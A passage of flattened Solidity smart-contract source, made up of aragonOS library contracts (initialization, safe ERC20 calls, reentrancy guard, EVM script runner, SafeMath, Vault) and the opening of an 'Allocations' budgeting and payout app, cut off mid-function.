initializationBlock != 0 && getBlockNumber() >= initializationBlock; } /** * @dev Function to be called by top level contract after initialization has finished. */ function initialized() internal onlyInit { INITIALIZATION_BLOCK_POSITION.setStorageUint256(getBlockNumber()); } /** * @dev Function to be called by top level contract after initialization to enable the contract * at a future block number rather than immediately. */ function initializedAt(uint256 _blockNumber) internal onlyInit { INITIALIZATION_BLOCK_POSITION.setStorageUint256(_blockNumber); } } // File: @aragon/os/contracts/common/Petrifiable.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract Petrifiable is Initializable { // Use block UINT256_MAX (which should be never) as the initializable date uint256 internal constant PETRIFIED_BLOCK = uint256(-1); function isPetrified() public view returns (bool) { return getInitializationBlock() == PETRIFIED_BLOCK; } /** * @dev Function to be called by top level contract to prevent being initialized. * Useful for freezing base contracts when they're used behind proxies. */ function petrify() internal onlyInit { initializedAt(PETRIFIED_BLOCK); } } // File: @aragon/os/contracts/common/Autopetrified.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract Autopetrified is Petrifiable { constructor() public { // Immediately petrify base (non-proxy) instances of inherited contracts on deploy. // This renders them uninitializable (and unusable without a proxy). petrify(); } } // File: @aragon/os/contracts/common/ConversionHelpers.sol pragma solidity ^0.4.24; library ConversionHelpers { string private constant ERROR_IMPROPER_LENGTH = "CONVERSION_IMPROPER_LENGTH"; function dangerouslyCastUintArrayToBytes(uint256[] memory _input) internal pure returns (bytes memory output) { // Force cast the uint256[] into a bytes array, by overwriting its length // Note that the bytes array doesn't need to be initialized as we immediately overwrite it // with the input and a new length. The input becomes invalid from this point forward. uint256 byteLength = _input.length * 32; assembly { output := _input mstore(output, byteLength) } } function dangerouslyCastBytesToUintArray(bytes memory _input) internal pure returns (uint256[] memory output) { // Force cast the bytes array into a uint256[], by overwriting its length // Note that the uint256[] doesn't need to be initialized as we immediately overwrite it // with the input and a new length. The input becomes invalid from this point forward. uint256 intsLength = _input.length / 32; require(_input.length == intsLength * 32, ERROR_IMPROPER_LENGTH); assembly { output := _input mstore(output, intsLength) } } } // File: @aragon/os/contracts/common/ReentrancyGuard.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract ReentrancyGuard { using UnstructuredStorage for bytes32; /* Hardcoded constants to save gas bytes32 internal constant REENTRANCY_MUTEX_POSITION = keccak256("aragonOS.reentrancyGuard.mutex"); */ bytes32 private constant REENTRANCY_MUTEX_POSITION = 0xe855346402235fdd185c890e68d2c4ecad599b88587635ee285bce2fda58dacb; string private constant ERROR_REENTRANT = "REENTRANCY_REENTRANT_CALL"; modifier nonReentrant() { // Ensure mutex is unlocked require(!REENTRANCY_MUTEX_POSITION.getStorageBool(), ERROR_REENTRANT); // Lock mutex before function call REENTRANCY_MUTEX_POSITION.setStorageBool(true); // Perform function call _; // Unlock mutex after function call REENTRANCY_MUTEX_POSITION.setStorageBool(false); } } // File: @aragon/os/contracts/lib/token/ERC20.sol // See https://github.com/OpenZeppelin/openzeppelin-solidity/blob/a9f910d34f0ab33a1ae5e714f69f9596a02b4d91/contracts/token/ERC20/ERC20.sol pragma solidity ^0.4.24; /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function allowance(address _owner, address _spender) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: @aragon/os/contracts/common/EtherTokenConstant.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; // aragonOS and aragon-apps rely on address(0) to denote native ETH, in // contracts where both tokens and ETH are accepted contract EtherTokenConstant { address internal constant ETH = address(0); } // File: @aragon/os/contracts/common/IsContract.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract IsContract { /* * NOTE: this should NEVER be used for authentication * (see pitfalls: https://github.com/fergarrui/ethereum-security/tree/master/contracts/extcodesize). * * This is only intended to be used as a sanity check that an address is actually a contract, * RATHER THAN an address not being a contract. */ function isContract(address _target) internal view returns (bool) { if (_target == address(0)) { return false; } uint256 size; assembly { size := extcodesize(_target) } return size > 0; } } // File: @aragon/os/contracts/common/SafeERC20.sol // Inspired by AdEx (https://github.com/AdExNetwork/adex-protocol-eth/blob/b9df617829661a7518ee10f4cb6c4108659dd6d5/contracts/libs/SafeERC20.sol) // and 0x (https://github.com/0xProject/0x-monorepo/blob/737d1dc54d72872e24abce5a1dbe1b66d35fa21a/contracts/protocol/contracts/protocol/AssetProxy/ERC20Proxy.sol#L143) pragma solidity ^0.4.24; library SafeERC20 { // Before 0.5, solidity has a mismatch between `address.transfer()` and `token.transfer()`: // https://github.com/ethereum/solidity/issues/3544 bytes4 private constant TRANSFER_SELECTOR = 0xa9059cbb; string private constant ERROR_TOKEN_BALANCE_REVERTED = "SAFE_ERC_20_BALANCE_REVERTED"; string private constant ERROR_TOKEN_ALLOWANCE_REVERTED = "SAFE_ERC_20_ALLOWANCE_REVERTED"; function invokeAndCheckSuccess(address _addr, bytes memory _calldata) private returns (bool) { bool ret; assembly { let ptr := mload(0x40) // free memory pointer let success := call( gas, // forward all gas _addr, // address 0, // no value add(_calldata, 0x20), // calldata start mload(_calldata), // calldata length ptr, // write output over free memory 0x20 // uint256 return ) if gt(success, 0) { // Check number of bytes returned from last function call switch returndatasize // No bytes returned: assume success case 0 { ret := 1 } // 32 bytes returned: check if non-zero case 0x20 { // Only return success if returned data was true // Already have output in ptr ret := eq(mload(ptr), 1) } // Not sure what was returned: don't mark as success default { } } } return ret; } function staticInvoke(address _addr, bytes memory _calldata) private view returns (bool, uint256) { bool success; uint256 ret; assembly { let ptr := mload(0x40) // free memory pointer success := staticcall( gas, // forward all gas _addr, // address add(_calldata, 0x20), // calldata start mload(_calldata), // calldata length ptr, // write output over free memory 0x20 // uint256 return ) if gt(success, 0) { ret := mload(ptr) } } return (success, ret); } /** * @dev Same as a standards-compliant ERC20.transfer() that never reverts (returns false). * Note that this makes an external call to the token. */ function safeTransfer(ERC20 _token, address _to, uint256 _amount) internal returns (bool) { bytes memory transferCallData = abi.encodeWithSelector( TRANSFER_SELECTOR, _to, _amount ); return invokeAndCheckSuccess(_token, transferCallData); } /** * @dev Same as a standards-compliant ERC20.transferFrom() that never reverts (returns false). * Note that this makes an external call to the token. */ function safeTransferFrom(ERC20 _token, address _from, address _to, uint256 _amount) internal returns (bool) { bytes memory transferFromCallData = abi.encodeWithSelector( _token.transferFrom.selector, _from, _to, _amount ); return invokeAndCheckSuccess(_token, transferFromCallData); } /** * @dev Same as a standards-compliant ERC20.approve() that never reverts (returns false). * Note that this makes an external call to the token. */ function safeApprove(ERC20 _token, address _spender, uint256 _amount) internal returns (bool) { bytes memory approveCallData = abi.encodeWithSelector( _token.approve.selector, _spender, _amount ); return invokeAndCheckSuccess(_token, approveCallData); } /** * @dev Static call into ERC20.balanceOf(). * Reverts if the call fails for some reason (should never fail). */ function staticBalanceOf(ERC20 _token, address _owner) internal view returns (uint256) { bytes memory balanceOfCallData = abi.encodeWithSelector( _token.balanceOf.selector, _owner ); (bool success, uint256 tokenBalance) = staticInvoke(_token, balanceOfCallData); require(success, ERROR_TOKEN_BALANCE_REVERTED); return tokenBalance; } /** * @dev Static call into ERC20.allowance(). * Reverts if the call fails for some reason (should never fail). */ function staticAllowance(ERC20 _token, address _owner, address _spender) internal view returns (uint256) { bytes memory allowanceCallData = abi.encodeWithSelector( _token.allowance.selector, _owner, _spender ); (bool success, uint256 allowance) = staticInvoke(_token, allowanceCallData); require(success, ERROR_TOKEN_ALLOWANCE_REVERTED); return allowance; } } // File: @aragon/os/contracts/common/VaultRecoverable.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract VaultRecoverable is IVaultRecoverable, EtherTokenConstant, IsContract { using SafeERC20 for ERC20; string private constant ERROR_DISALLOWED = "RECOVER_DISALLOWED"; string private constant ERROR_VAULT_NOT_CONTRACT = "RECOVER_VAULT_NOT_CONTRACT"; string private constant ERROR_TOKEN_TRANSFER_FAILED = "RECOVER_TOKEN_TRANSFER_FAILED"; /** * @notice Send funds to recovery Vault. This contract should never receive funds, * but in case it does, this function allows one to recover them. * @param _token Token balance to be sent to recovery vault. */ function transferToVault(address _token) external { require(allowRecoverability(_token), ERROR_DISALLOWED); address vault = getRecoveryVault(); require(isContract(vault), ERROR_VAULT_NOT_CONTRACT); uint256 balance; if (_token == ETH) { balance = address(this).balance; vault.transfer(balance); } else { ERC20 token = ERC20(_token); balance = token.staticBalanceOf(this); require(token.safeTransfer(vault, balance), ERROR_TOKEN_TRANSFER_FAILED); } emit RecoverToVault(vault, _token, balance); } /** * @dev By default deriving from AragonApp makes it recoverable * @param token Token address that would be recovered * @return bool whether the app allows the recovery */ function allowRecoverability(address token) public view returns (bool) { return true; } // Cast non-implemented interface to be public so we can use it internally function getRecoveryVault() public view returns (address); } // File: @aragon/os/contracts/evmscript/IEVMScriptExecutor.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; interface IEVMScriptExecutor { function execScript(bytes script, bytes input, address[] blacklist) external returns (bytes); function executorType() external pure returns (bytes32); } // File: @aragon/os/contracts/evmscript/IEVMScriptRegistry.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract EVMScriptRegistryConstants { /* Hardcoded constants to save gas bytes32 internal constant EVMSCRIPT_REGISTRY_APP_ID = apmNamehash("evmreg"); */ bytes32 internal constant EVMSCRIPT_REGISTRY_APP_ID = 0xddbcfd564f642ab5627cf68b9b7d374fb4f8a36e941a75d89c87998cef03bd61; } interface IEVMScriptRegistry { function addScriptExecutor(IEVMScriptExecutor executor) external returns (uint id); function disableScriptExecutor(uint256 executorId) external; // TODO: this should be external // See https://github.com/ethereum/solidity/issues/4832 function getScriptExecutor(bytes script) public view returns (IEVMScriptExecutor); } // File: @aragon/os/contracts/kernel/KernelConstants.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract KernelAppIds { /* Hardcoded constants to save gas bytes32 internal constant KERNEL_CORE_APP_ID = apmNamehash("kernel"); bytes32 internal constant KERNEL_DEFAULT_ACL_APP_ID = apmNamehash("acl"); bytes32 internal constant KERNEL_DEFAULT_VAULT_APP_ID = apmNamehash("vault"); */ bytes32 internal constant KERNEL_CORE_APP_ID = 0x3b4bf6bf3ad5000ecf0f989d5befde585c6860fea3e574a4fab4c49d1c177d9c; bytes32 internal constant KERNEL_DEFAULT_ACL_APP_ID = 0xe3262375f45a6e2026b7e7b18c2b807434f2508fe1a2a3dfb493c7df8f4aad6a; bytes32 internal constant KERNEL_DEFAULT_VAULT_APP_ID = 0x7e852e0fcfce6551c13800f1e7476f982525c2b5277ba14b24339c68416336d1; } contract KernelNamespaceConstants { /* Hardcoded constants to save gas bytes32 internal constant KERNEL_CORE_NAMESPACE = keccak256("core"); bytes32 internal constant KERNEL_APP_BASES_NAMESPACE = keccak256("base"); bytes32 internal constant KERNEL_APP_ADDR_NAMESPACE = keccak256("app"); */ bytes32 internal constant KERNEL_CORE_NAMESPACE = 0xc681a85306374a5ab27f0bbc385296a54bcd314a1948b6cf61c4ea1bc44bb9f8; bytes32 internal constant KERNEL_APP_BASES_NAMESPACE = 0xf1f3eb40f5bc1ad1344716ced8b8a0431d840b5783aea1fd01786bc26f35ac0f; bytes32 internal constant KERNEL_APP_ADDR_NAMESPACE = 0xd6f028ca0e8edb4a8c9757ca4fdccab25fa1e0317da1188108f7d2dee14902fb; } // File: @aragon/os/contracts/evmscript/EVMScriptRunner.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; contract EVMScriptRunner is AppStorage, Initializable, EVMScriptRegistryConstants, KernelNamespaceConstants { string private constant ERROR_EXECUTOR_UNAVAILABLE = "EVMRUN_EXECUTOR_UNAVAILABLE"; string private constant ERROR_PROTECTED_STATE_MODIFIED = "EVMRUN_PROTECTED_STATE_MODIFIED"; /* This is manually crafted in assembly string private constant ERROR_EXECUTOR_INVALID_RETURN = "EVMRUN_EXECUTOR_INVALID_RETURN"; */ event ScriptResult(address indexed executor, bytes script, bytes input, bytes returnData); function getEVMScriptExecutor(bytes _script) public view returns (IEVMScriptExecutor) { return IEVMScriptExecutor(getEVMScriptRegistry().getScriptExecutor(_script)); } function getEVMScriptRegistry() public view returns (IEVMScriptRegistry) { address registryAddr = kernel().getApp(KERNEL_APP_ADDR_NAMESPACE, EVMSCRIPT_REGISTRY_APP_ID); return IEVMScriptRegistry(registryAddr); } function runScript(bytes _script, bytes _input, address[] _blacklist) internal isInitialized protectState returns (bytes) { IEVMScriptExecutor executor = getEVMScriptExecutor(_script); require(address(executor) != address(0), ERROR_EXECUTOR_UNAVAILABLE); bytes4 sig = executor.execScript.selector; bytes memory data = abi.encodeWithSelector(sig, _script, _input, _blacklist); bytes memory output; assembly { let success := delegatecall( gas, // forward all gas executor, // address add(data, 0x20), // calldata start mload(data), // calldata length 0, // don't write output (we'll handle this ourselves) 0 // don't write output ) output := mload(0x40) // free mem ptr get switch success case 0 { // If the call errored, forward its full error data returndatacopy(output, 0, returndatasize) revert(output, returndatasize) } default { switch gt(returndatasize, 0x3f) case 0 { // Need at least 0x40 bytes returned for properly ABI-encoded bytes values, // revert with "EVMRUN_EXECUTOR_INVALID_RETURN" // See remix: doing a `revert("EVMRUN_EXECUTOR_INVALID_RETURN")` always results in // this memory layout mstore(output, 0x08c379a000000000000000000000000000000000000000000000000000000000) // error identifier mstore(add(output, 0x04), 0x0000000000000000000000000000000000000000000000000000000000000020) // starting offset mstore(add(output, 0x24), 0x000000000000000000000000000000000000000000000000000000000000001e) // reason length mstore(add(output, 0x44), 0x45564d52554e5f4558454355544f525f494e56414c49445f52455455524e0000) // reason revert(output, 100) // 100 = 4 + 3 * 32 (error identifier + 3 words for the ABI encoded error) } default { // Copy result // // Needs to perform an ABI decode for the expected `bytes` return type of // `executor.execScript()` as solidity will automatically ABI encode the returned bytes as: // [ position of the first dynamic length return value = 0x20 (32 bytes) ] // [ output length (32 bytes) ] // [ output content (N bytes) ] // // Perform the ABI decode by ignoring the first 32 bytes of the return data let copysize := sub(returndatasize, 0x20) returndatacopy(output, 0x20, copysize) mstore(0x40, add(output, copysize)) // free mem ptr set } } } emit ScriptResult(address(executor), _script, _input, output); return output; } modifier protectState { address preKernel = address(kernel()); bytes32 preAppId = appId(); _; // exec require(address(kernel()) == preKernel, ERROR_PROTECTED_STATE_MODIFIED); require(appId() == preAppId, ERROR_PROTECTED_STATE_MODIFIED); } } // File: @aragon/os/contracts/apps/AragonApp.sol /* * SPDX-License-Identitifer: MIT */ pragma solidity ^0.4.24; // Contracts inheriting from AragonApp are, by default, immediately petrified upon deployment so // that they can never be initialized. // Unless overriden, this behaviour enforces those contracts to be usable only behind an AppProxy. // ReentrancyGuard, EVMScriptRunner, and ACLSyntaxSugar are not directly used by this contract, but // are included so that they are automatically usable by subclassing contracts contract AragonApp is AppStorage, Autopetrified, VaultRecoverable, ReentrancyGuard, EVMScriptRunner, ACLSyntaxSugar { string private constant ERROR_AUTH_FAILED = "APP_AUTH_FAILED"; modifier auth(bytes32 _role) { require(canPerform(msg.sender, _role, new uint256[](0)), ERROR_AUTH_FAILED); _; } modifier authP(bytes32 _role, uint256[] _params) { require(canPerform(msg.sender, _role, _params), ERROR_AUTH_FAILED); _; } /** * @dev Check whether an action can be performed by a sender for a particular role on this app * @param _sender Sender of the call * @param _role Role on this app * @param _params Permission params for the role * @return Boolean indicating whether the sender has the permissions to perform the action. * Always returns false if the app hasn't been initialized yet. */ function canPerform(address _sender, bytes32 _role, uint256[] _params) public view returns (bool) { if (!hasInitialized()) { return false; } IKernel linkedKernel = kernel(); if (address(linkedKernel) == address(0)) { return false; } return linkedKernel.hasPermission( _sender, address(this), _role, ConversionHelpers.dangerouslyCastUintArrayToBytes(_params) ); } /** * @dev Get the recovery vault for the app * @return Recovery vault address for the app */ function getRecoveryVault() public view returns (address) { // Funds recovery via a vault is only available when used with a kernel return kernel().getRecoveryVault(); // if kernel is not set, it will revert } } // File: @aragon/os/contracts/lib/math/SafeMath.sol // See https://github.com/OpenZeppelin/openzeppelin-solidity/blob/d51e38758e1d985661534534d5c61e27bece5042/contracts/math/SafeMath.sol // Adapted to use pragma ^0.4.24 and satisfy our linter rules pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { string private constant ERROR_ADD_OVERFLOW = "MATH_ADD_OVERFLOW"; string private constant ERROR_SUB_UNDERFLOW = "MATH_SUB_UNDERFLOW"; string private constant ERROR_MUL_OVERFLOW = "MATH_MUL_OVERFLOW"; string private constant ERROR_DIV_ZERO = "MATH_DIV_ZERO"; /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b, ERROR_MUL_OVERFLOW); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0, ERROR_DIV_ZERO); // Solidity only automatically asserts when dividing by 0 uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a, ERROR_SUB_UNDERFLOW); uint256 c = _a - _b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a, ERROR_ADD_OVERFLOW); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, ERROR_DIV_ZERO); return a % b; } } // File: @aragon/os/contracts/lib/math/SafeMath64.sol // See https://github.com/OpenZeppelin/openzeppelin-solidity/blob/d51e38758e1d985661534534d5c61e27bece5042/contracts/math/SafeMath.sol // Adapted for uint64, pragma ^0.4.24, and satisfying our linter rules // Also optimized the mul() implementation, see https://github.com/aragon/aragonOS/pull/417 pragma solidity ^0.4.24; /** * @title SafeMath64 * @dev Math operations for uint64 with safety checks that revert on error */ library SafeMath64 { string private constant ERROR_ADD_OVERFLOW = "MATH64_ADD_OVERFLOW"; string private constant ERROR_SUB_UNDERFLOW = "MATH64_SUB_UNDERFLOW"; string private constant ERROR_MUL_OVERFLOW = "MATH64_MUL_OVERFLOW"; string private constant ERROR_DIV_ZERO = "MATH64_DIV_ZERO"; /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint64 _a, uint64 _b) internal pure returns (uint64) { uint256 c = uint256(_a) * uint256(_b); require(c < 0x010000000000000000, ERROR_MUL_OVERFLOW); // 2**64 (less gas this way) return uint64(c); } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint64 _a, uint64 _b) internal pure returns (uint64) { require(_b > 0, ERROR_DIV_ZERO); // Solidity only automatically asserts when dividing by 0 uint64 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint64 _a, uint64 _b) internal pure returns (uint64) { require(_b <= _a, ERROR_SUB_UNDERFLOW); uint64 c = _a - _b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint64 _a, uint64 _b) internal pure returns (uint64) { uint64 c = _a + _b; require(c >= _a, ERROR_ADD_OVERFLOW); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint64 a, uint64 b) internal pure returns (uint64) { require(b != 0, ERROR_DIV_ZERO); return a % b; } } // File: @aragon/os/contracts/common/DepositableStorage.sol pragma solidity 0.4.24; contract DepositableStorage { using UnstructuredStorage for bytes32; // keccak256("aragonOS.depositableStorage.depositable") bytes32 internal constant DEPOSITABLE_POSITION = 0x665fd576fbbe6f247aff98f5c94a561e3f71ec2d3c988d56f12d342396c50cea; function isDepositable() public view returns (bool) { return DEPOSITABLE_POSITION.getStorageBool(); } function setDepositable(bool _depositable) internal { DEPOSITABLE_POSITION.setStorageBool(_depositable); } } // File: @aragon/apps-vault/contracts/Vault.sol pragma solidity 0.4.24; contract Vault is EtherTokenConstant, AragonApp, DepositableStorage { using SafeERC20 for ERC20; bytes32 public constant TRANSFER_ROLE = keccak256("TRANSFER_ROLE"); string private constant ERROR_DATA_NON_ZERO = "VAULT_DATA_NON_ZERO"; string private constant ERROR_NOT_DEPOSITABLE = "VAULT_NOT_DEPOSITABLE"; string private constant ERROR_DEPOSIT_VALUE_ZERO = "VAULT_DEPOSIT_VALUE_ZERO"; string private constant ERROR_TRANSFER_VALUE_ZERO = "VAULT_TRANSFER_VALUE_ZERO"; string private constant ERROR_SEND_REVERTED = "VAULT_SEND_REVERTED"; string private constant ERROR_VALUE_MISMATCH = "VAULT_VALUE_MISMATCH"; string private constant ERROR_TOKEN_TRANSFER_FROM_REVERTED = "VAULT_TOKEN_TRANSFER_FROM_REVERT"; string private constant ERROR_TOKEN_TRANSFER_REVERTED = "VAULT_TOKEN_TRANSFER_REVERTED"; event VaultTransfer(address indexed token, address indexed to, uint256 amount); event VaultDeposit(address indexed token, address indexed sender, uint256 amount); /** * @dev On a normal send() or transfer() this fallback is never executed as it will be * intercepted by the Proxy (see aragonOS#281) */ function () external payable isInitialized { require(msg.data.length == 0, ERROR_DATA_NON_ZERO); _deposit(ETH, msg.value); } /** * @notice Initialize Vault app * @dev As an AragonApp it needs to be initialized in order for roles (`auth` and `authP`) to work */ function initialize() external onlyInit { initialized(); setDepositable(true); } /** * @notice Deposit `_value` `_token` to the vault * @param _token Address of the token being transferred * @param _value Amount of tokens being transferred */ function deposit(address _token, uint256 _value) external payable isInitialized { _deposit(_token, _value); } /** * @notice Transfer `_value` `_token` from the Vault to `_to` * @param _token Address of the token being transferred * @param _to Address of the recipient of tokens * @param _value Amount of tokens being transferred */ /* solium-disable-next-line function-order */ function transfer(address _token, address _to, uint256 _value) external authP(TRANSFER_ROLE, arr(_token, _to, _value)) { require(_value > 0, ERROR_TRANSFER_VALUE_ZERO); if (_token == ETH) { require(_to.send(_value), ERROR_SEND_REVERTED); } else { require(ERC20(_token).safeTransfer(_to, _value), ERROR_TOKEN_TRANSFER_REVERTED); } emit VaultTransfer(_token, _to, _value); } function balance(address _token) public view returns (uint256) { if (_token == ETH) { return address(this).balance; } else { return ERC20(_token).staticBalanceOf(address(this)); } } /** * @dev Disable recovery escape hatch, as it could be used * maliciously to transfer funds away from the vault */ function allowRecoverability(address) public view returns (bool) { return false; } function _deposit(address _token, uint256 _value) internal { require(isDepositable(), ERROR_NOT_DEPOSITABLE); require(_value > 0, ERROR_DEPOSIT_VALUE_ZERO); if (_token == ETH) { // Deposit is implicit in this case require(msg.value == _value, ERROR_VALUE_MISMATCH); } else { require( ERC20(_token).safeTransferFrom(msg.sender, address(this), _value), ERROR_TOKEN_TRANSFER_FROM_REVERTED ); } emit VaultDeposit(_token, msg.sender, _value); } } // File: contracts/Allocations.sol /* * SPDX-License-Identitifer: GPL-3.0-or-later */ pragma solidity ^0.4.24; contract Allocations is AragonApp { using SafeMath for uint256; using SafeMath64 for uint64; using SafeERC20 for ERC20; bytes32 public constant CREATE_ACCOUNT_ROLE = 0x9b9e262b9ea0587fdc5926b22b8ed5837efef4f4cc67bc1a7ee18f68ad83062f; bytes32 public constant CREATE_ALLOCATION_ROLE = 0x8af1e3d6225e5adff5174a4949cb3cc04f0f62937083325a9e302eaf5d07cdf1; bytes32 public constant EXECUTE_ALLOCATION_ROLE = 0x1ced0be26d1bb2db7a1a0a01064be22894ce4ca0321b6f4b28d0b1a5ce62e7ea; bytes32 public constant EXECUTE_PAYOUT_ROLE = 0xa5cf757319c734091fd95cf4b09938ff69ee22637eda897ea92ca59e56f00bcb; bytes32 public constant CHANGE_PERIOD_ROLE = 0xd35e458bacdd5343c2f050f574554b2f417a8ea38d6a9a65ce2225dbe8bb9a9d; bytes32 public constant CHANGE_BUDGETS_ROLE = 0xd79730e82bfef7d2f9639b9d10bf37ebb662b22ae2211502a00bdf7b2cc3a23a; bytes32 public constant SET_MAX_CANDIDATES_ROLE = 0xe593f1908655effa3e2eb1eab075684bd646a51d97f20646bb9ecb2df3e4f2bb; uint256 internal constant MAX_UINT256 = uint256(-1); uint64 internal constant MAX_UINT64 = uint64(-1); uint64 internal constant MINIMUM_PERIOD = uint64(1 days); uint256 internal constant MAX_SCHEDULED_PAYOUTS_PER_TX = 20; string private constant ERROR_NO_PERIOD = "NO_PERIOD"; string private constant ERROR_NO_ACCOUNT = "NO_ACCOUNT"; string private constant ERROR_NO_PAYOUT = "NO_PAYOUT"; string private constant ERROR_NO_CANDIDATE = "NO_CANDIDATE"; string private constant ERROR_PERIOD_SHORT = "SET_PERIOD_TOO_SHORT"; string private constant ERROR_COMPLETE_TRANSITION = "COMPLETE_TRANSITION"; string private constant ERROR_MIN_RECURRENCE = "RECURRENCES_BELOW_ONE"; string private constant ERROR_CANDIDATE_NOT_RECEIVER = "CANDIDATE_NOT_RECEIVER"; string private constant ERROR_INSUFFICIENT_FUNDS = "INSUFFICIENT_FUNDS"; struct Payout { uint64 startTime; uint64 recurrences; uint64 period; address[] candidateAddresses; uint256[] supports; uint64[] executions; uint256 amount; string description; } struct Account { uint64 payoutsLength; bool hasBudget; address token; mapping (uint64 => Payout) payouts; string metadata; uint256 budget; } struct AccountStatement { mapping(address => uint256) expenses; } struct Period { uint64 startTime; uint64 endTime; mapping (uint256 => AccountStatement) accountStatement; } uint64 accountsLength; uint64 periodsLength; uint64 periodDuration; uint256 maxCandidates; Vault public vault; mapping (uint64 => Account) accounts; mapping (uint64 => Period) periods; mapping(address => uint) accountProxies; // proxy address -> account Id event PayoutExecuted(uint64 accountId, uint64 payoutId, uint candidateId); event NewAccount(uint64 accountId); event NewPeriod(uint64 indexed periodId, uint64 periodStarts, uint64 periodEnds); event FundAccount(uint64 accountId); event SetDistribution(uint64 accountId, uint64 payoutId); event PaymentFailure(uint64 accountId, uint64 payoutId, uint256 candidateId); event SetBudget(uint256 indexed accountId, uint256 amount, string name, bool hasBudget); event ChangePeriodDuration(uint64 newDuration); modifier periodExists(uint64 _periodId) { require(_periodId < periodsLength, ERROR_NO_PERIOD); _; } modifier accountExists(uint64 _accountId) { require(_accountId < accountsLength, ERROR_NO_ACCOUNT); _; } modifier payoutExists(uint64 _accountId, uint64 _payoutId) { require(_payoutId < accounts[_accountId].payoutsLength, ERROR_NO_PAYOUT); _; } // Modifier used by all methods that impact accounting to make sure accounting period // is changed before the operation if needed // NOTE: its use **MUST** be accompanied by an initialization check modifier transitionsPeriod { require( _tryTransitionAccountingPeriod(getMaxPeriodTransitions()), ERROR_COMPLETE_TRANSITION ); _; } /** * @dev On initialization the contract sets a vault, and initializes the periods * and accounts. * @param _vault The Aragon vault to pull payments from. * @param _periodDuration Base duration of a "period" used for value calculations. */ function initialize( Vault _vault, uint64 _periodDuration ) external onlyInit { vault = _vault; require(_periodDuration >= MINIMUM_PERIOD, ERROR_PERIOD_SHORT); periodDuration = _periodDuration; _newPeriod(getTimestamp64()); accountsLength++; // position 0 is reserved and unused maxCandidates = 50; initialized(); } /////////////////////// // Getter functions /////////////////////// /** @notice Basic getter for accounts. * @param _accountId The budget ID you'd like to get. */ function getAccount(uint64 _accountId) external view accountExists(_accountId) isInitialized returns(string metadata, address token, bool hasBudget, uint256 budget) { Account storage account = accounts[_accountId]; metadata = account.metadata; token = account.token; hasBudget = account.hasBudget; budget = account.budget; } /** @notice Basic getter for Allocations. * @param _accountId The ID of the budget. * @param _payoutId The ID of the allocation within the budget you'd like to retrieve. */ function getPayout(uint64 _accountId, uint64 _payoutId) external view payoutExists(_accountId, _payoutId) isInitialized returns(uint amount, uint64 recurrences, uint startTime, uint period) { Payout storage payout = accounts[_accountId].payouts[_payoutId]; amount = payout.amount; recurrences = payout.recurrences; startTime = payout.startTime; period = payout.period; } /** * @notice get the account's remaining budget for the current period * @param _accountId The account ID of the budget remaining to be calculated */ function getRemainingBudget(uint64 _accountId) external view accountExists(_accountId) returns(uint256) { return _getRemainingBudget(_accountId); } /** @notice Basic getter for Allocation descriptions. * @param _accountId The Id of the budget. * @param _payoutId The Id of the allocation within the budget. */ function getPayoutDescription(uint64 _accountId, uint64 _payoutId) external view payoutExists(_accountId, _payoutId) isInitialized returns(string description) { Payout storage payout = accounts[_accountId].payouts[_payoutId]; description = payout.description; } /** @notice Basic getter for getting the number of options in an Allocation. * @param _accountId The Id of the budget. * @param _payoutId The Id of the allocation within the budget. */ function getNumberOfCandidates(uint64 _accountId, uint64 _payoutId) external view isInitialized payoutExists(_accountId, _payoutId) returns(uint256 numCandidates) { Payout storage payout = accounts[_accountId].payouts[_payoutId]; numCandidates = payout.supports.length; } /** @notice Basic getter for Allocation value for a specific recipient. * @param _accountId The Id of the budget. * @param _payoutId The Id of the allocation within the budget. * @param _idx The Id of the specific recipient you'd like to retrieve information for. */ function getPayoutDistributionValue(uint64 _accountId, uint64 _payoutId, uint256 _idx) external view isInitialized payoutExists(_accountId, _payoutId) returns(uint256 supports, address candidateAddress, uint64 executions) { Payout storage payout = accounts[_accountId].payouts[_payoutId]; 